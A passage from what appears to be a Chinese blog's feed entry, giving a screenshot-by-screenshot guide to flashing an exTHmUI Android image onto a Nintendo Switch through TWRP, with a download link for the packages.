src="https://webstatic.9xia.top/usr/uploads/2024/04/3688395080.webp" alt="2024-04-26T06:37:43.webp"></p><p>滑动滑块确认<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/1448888197.webp" alt="2024-04-26T06:37:52.webp"></p><p>点击Mount，挂载所有分区<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/668427749.webp" alt="2024-04-26T06:38:03.webp"><br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/685541120.webp" alt="2024-04-26T06:38:16.webp"></p><p>然后回到主页点击Wipe<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/2852810905.webp" alt="2024-04-26T06:38:24.webp"></p><p>点Advance Wipe<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/1732329639.webp" alt="2024-04-26T06:38:36.webp"></p><p>勾选这几个，滑动滑块确认<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/667638968.webp" alt="2024-04-26T06:38:48.webp"></p><p>回到主页点Install<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/897000341.webp" alt="2024-04-26T06:38:57.webp"></p><p>找到根目录下的&#x2F;external_sd&#x2F;exTHmUI_A11_nx-tab_JiuXia2025文件夹<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/2974676183.webp" alt="2024-04-26T06:39:05.webp"></p><p>点击右下角的Install Image切换成刷镜像模式，然后显示镜像出来就可以开始刷机了<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/1808831109.webp" alt="2024-04-26T06:39:13.webp"></p><p>点击boot.img刷Boot分区，滑动等刷完返回列表继续<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/1550909263.webp" alt="2024-04-26T06:39:22.webp"></p><p>点击system.img刷System分区，滑动等刷完返回列表继续<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/2720181710.webp" alt="2024-04-26T06:39:32.webp"></p><p>点击vendor.img刷Vendor分区，滑动等刷完返回列表继续<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/2546400052.webp" alt="2024-04-26T06:39:41.webp"></p><p>刷完先别急着进系统，回到主页点Wipe<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/16849074.webp" alt="2024-04-26T06:39:51.webp"></p><p>点Format Data<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/4214757782.webp" alt="2024-04-26T06:40:01.webp"></p><p>输入yes然后点击右下角的勾<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/71366104.webp" alt="2024-04-26T06:40:10.webp"></p><p>清完Data就可以点击Reboot System重启系统了<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/3177082942.webp" alt="2024-04-26T06:40:19.webp"></p><p>回到主页点更多设置再点击exTHmUI，就可以进入系统了<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/1889672457.webp" alt="2024-04-26T06:40:28.webp"></p><p>等待开机<br>小提示：如果是启动安卓系统时在这个画面短按音量减可以返回hetake，长按音量加就可以进入安卓的Recovery<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/1895646433.webp" alt="2024-04-26T06:40:36.webp"></p><p>熟悉的开机引导<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/2094235275.webp" alt="2024-04-26T06:40:43.webp"></p><p>时区选择北京，时间就会自动校准了<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/3394231898.webp" alt="2024-04-26T06:40:52.webp"></p><p>搞定<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/2110312194.webp" alt="2024-04-26T06:41:00.webp"></p><p>进到exTHmUI看到这个提示千万不要点进去格式化，忽略即可，不影响里面的数据<br><img src="https://webstatic.9xia.top/usr/uploads/2024/04/3557658638.webp" alt="2024-04-26T06:41:09.webp"></p><p>刷机包和TWRP包放网盘链接了：查看链接 提取码：CLVK<br>前两期图文<br>Switch刷LineageOS：查看链接<br>Switch刷Magisk：查看链接</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;近几天打包了个exTHmUI，因为Switch的分区表和手机的不一样所以没写刷机脚本，我打包的是镜像包不是卡刷包跟上篇图文LineageOS刷入方式不同，特意写了篇图文来介绍详细的刷入流程&lt;/p&gt;
&lt;h1 id=&quot;一、刷前的准备&quot;&gt;&lt;a href=&quot;#一、刷前的准备&quot; cl</summary>
      
    
    
    
    <category term="玩机" scheme="https://blog.inekoxia.com/categories/%E7%8E%A9%E6%9C%BA/"/>
    
    
    <category term="Switch" scheme="https://blog.inekoxia.com/tags/Switch/"/>
    
  </entry>
  
</feed>
